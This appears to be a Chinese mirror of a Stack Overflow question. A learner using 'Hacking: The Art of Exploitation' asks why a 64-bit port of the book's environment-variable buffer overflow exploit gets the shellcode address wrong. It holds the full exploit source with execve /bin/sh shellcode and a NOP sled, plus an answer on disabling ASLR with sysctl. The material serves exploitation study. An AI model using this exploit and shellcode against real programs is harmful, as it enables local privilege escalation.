【问题标题】:What is the base address of a C program environment from the execle command?execle 命令中 C 程序环境的基地址是什么?
【发布时间】:2020-01-31 14:30:14
【问题描述】:

我正在阅读“黑客:利用的艺术”一书,我对exploit_notesearch_env.c 的代码有一些问题,它试图通过调用要利用execle() 函数的程序来进行缓冲区溢出利用.这样,被利用的程序的唯一环境变量就是 shellcode。

我的问题是我无法弄清楚 shellcode 环境变量的地址。书上说基地址是0xbffffffa,然后减去shellcode的大小和程序名的长度,得到shellcode地址。

这是调用notesearch程序的exploit_notesearch_env.c的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
char shellcode[]=
"SHELLCODE=\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
   char *env[2] = {shellcode, (char *) 0};
   uint64_t i, ret;
   char *buffer = (char *) malloc(160);

   ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
   memset(buffer, '\x90', 120);
   *((uint64_t *)(buffer+120)) = ret;

   execle("./notesearch", "notesearch", buffer, (char *) 0, env);
   free(buffer);
}

顺便说一句,本书使用的是 32 位 Linux 发行版,而我使用的是 Kali Linux 2019.4 64 位版本,这可能是问题的根源。

shellcode 已经调整为 64 位,程序正确溢出缓冲区,但地址错误。

有人知道书中地址0xbffffffa 的正确替代品吗?

【问题讨论】:

  • 你可以打印一些堆栈变量的地址来获得一个想法(printf("%p\n", &amp;buffer);)。并且不要忘记在第一步中禁用 ASLR。生成 coredump 文件并使用 gdb 分析它们。
  • 我已经禁用了aslr,但我只对SHELLCODE环境变量的地址感兴趣,为什么还要打印缓冲区的地址?

标签: c shellcode aslr


【解决方案1】:

execle命令中c程序环境的基地址是什么?

不能说。

有人知道书中地址0xbffffffa 的正确替代品吗?

不,除了你的操作系统,没有人知道。


首先,在现代 Linux 系统上,Address Space Layout Randomization (ASLR) 通常默认启用。这意味着您运行的每个程序对于堆栈、堆、二进制文件本身以及任何其他库或虚拟内存页面都有不同的随机基址。

这种随机化是由内核自己完成的。为了禁用 ASLR,你可以在 GDB 下启动程序(它只为你启动的进程禁用它),或者你可以使用sysctl 命令在系统范围内临时禁用它,将kernel.randomize_va_space 设置为0对于没有 ASLR 和 2 对于正常 ASLR。

sudo sysctl -w kernel.randomize_va_space=0 # disabled
sudo sysctl -w kernel.randomize_va_space=2 # enabled

然而,即使禁用了 ASLR,仍然无法事先知道堆栈的位置,您必须在 GDB 下至少运行一次程序以首先检查地址(环境变量位于堆栈的底部)。实在没有别的办法,只能自己写linker script,没那么简单。


如果您的书之前没有涵盖这些概念,那么我强烈建议您再找一本书,因为不先解释任何内容就直接跳到代码没有多大意义。

【讨论】:

  • 但是如果我在 gdb 中查找环境的地址,在不使用 gdb 时会不会是一样的,链接描述文件可以通过什么方式帮助我?
  • 现在我使用 gdb 找到了堆栈基地址,但我必须获得 shellcode 地址,我不仅需要减去 shellcode 的长度和“./notesearch”的长度,还要减去数字 2 . 有人知道这是什么原因吗?
猜你喜欢
  • 2014-08-05
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2019-01-01
  • 2014-08-20
  • 1970-01-01
  • 2014-10-14
  • 1970-01-01
相关资源
最近更新 更多